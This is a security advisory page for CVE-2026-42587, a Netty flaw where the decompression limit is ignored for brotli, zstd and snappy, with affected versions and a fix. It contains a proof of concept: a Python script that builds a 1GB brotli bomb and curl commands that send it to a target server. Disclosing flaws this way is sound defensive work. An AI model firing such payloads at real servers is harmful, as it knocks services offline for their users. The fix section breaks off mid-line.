Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-42587 — netty

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-400 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Netty: HttpContentDecompressor maxAllocation bypass when Content-Encoding set to br/zstd/snappy leads to decompression bomb DoS

Summary

HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.

The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.

Details

HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.

For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():

```java

// HttpContentDecompressor.java:101 — maxAllocation IS enforced

.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))

```

ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:

```java

// ZlibDecoder.java:68 — hard limit on buffer capacity

return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);

// ZlibDecoder.java:80 — throws when exceeded

throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());

```

For brotli, zstd, and snappy, the decoders are created without any size limit:

```java

// HttpContentDecompressor.java:120 — maxAllocation IGNORED

.handlers(new BrotliDecoder())

// HttpContentDecompressor.java:129 — maxAllocation IGNORED

.handlers(new SnappyFrameDecoder())

// HttpContentDecompressor.java:138 — maxAllocation IGNORED

.handlers(new ZstdDecoder())

```

BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.

ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.

The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.

PoC

1. Configure a Netty HTTP server with decompression bomb protection:

```java

pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max

pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max

```

2. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):

```python

import brotli

bomb = b'\x00' * (1024 * 1024 * 1024) # 1GB of zeros

compressed = brotli.compress(bomb, quality=11)

with open('bomb.br', 'wb') as f:

f.write(compressed)

# compressed size: ~1KB

```

3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):

```bash

# This is caught — ZlibDecoder enforces the 1MB limit

curl -X POST http://target:8080/api \

-H 'Content-Encoding: gzip' \

--data-binary @bomb.gz

# Result: DecompressionException thrown at 1MB

```

4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):

```bash

# This bypasses the limit — BrotliDecoder has no maxAllocation

curl -X POST http://target:8080/api \

-H 'Content-Encoding: br' \

--data-binary @bomb.br

# Result: Full 1GB decompressed into memory → OOM

```

5. The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.

Impact

  • Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding.
  • False sense of security: Developers who explicitly configure maxAllocation to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.
  • Trivial bypass: The attacker only needs to change one HTTP header (Content-Encoding: br instead of Content-Encoding: gzip) to circumvent the protection entirely.
  • Both HTTP/1.1 and HTTP/2: The vulnerability exists in both HttpContentDecompressor (HTTP/1.1) and DelegatingDecompressorFrameListener (HTTP/2).

Recommended Fix

Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:

HttpContentDecompressor.java — pass maxAllocation to all decoders:

```java

// Line 120: BrotliDecoder — add maxAllocation support

.handlers(new BrotliDecoder(maxAllocation))

// Line 129: SnappyFrameDecoder — add maxAll

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-42587 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

CVE-2026-42587 is recorded against 3 packages.

  • io.netty:netty-codec-http (fixed in 4.1.133.Final)
  • io.netty:netty-codec-http2 (fixed in 4.1.133.Final)
  • netty (from 4.2.0 up to 4.2.13)

Timeline and source

Published on 7 May 2026 and last revised on 14 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Other advisories for this package

io.netty:netty-codec-http has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-400: Uncontrolled Resource Consumption) in other software:

CVE-2026-42587 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-400
Public Exploit ✅ No
Source NVD
Published 2026-05-07
Updated 2026-08-20
Modified 2026-05-14
Fix URL N/A

Affected Packages

Software From version Fixed in
io.netty:netty-codec-http — 4.1.133.Final
io.netty:netty-codec-http2 — 4.1.133.Final
netty 4.2.0 4.2.13

Site Security Check

Is netty part of your stack?

CVE-2026-42587 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓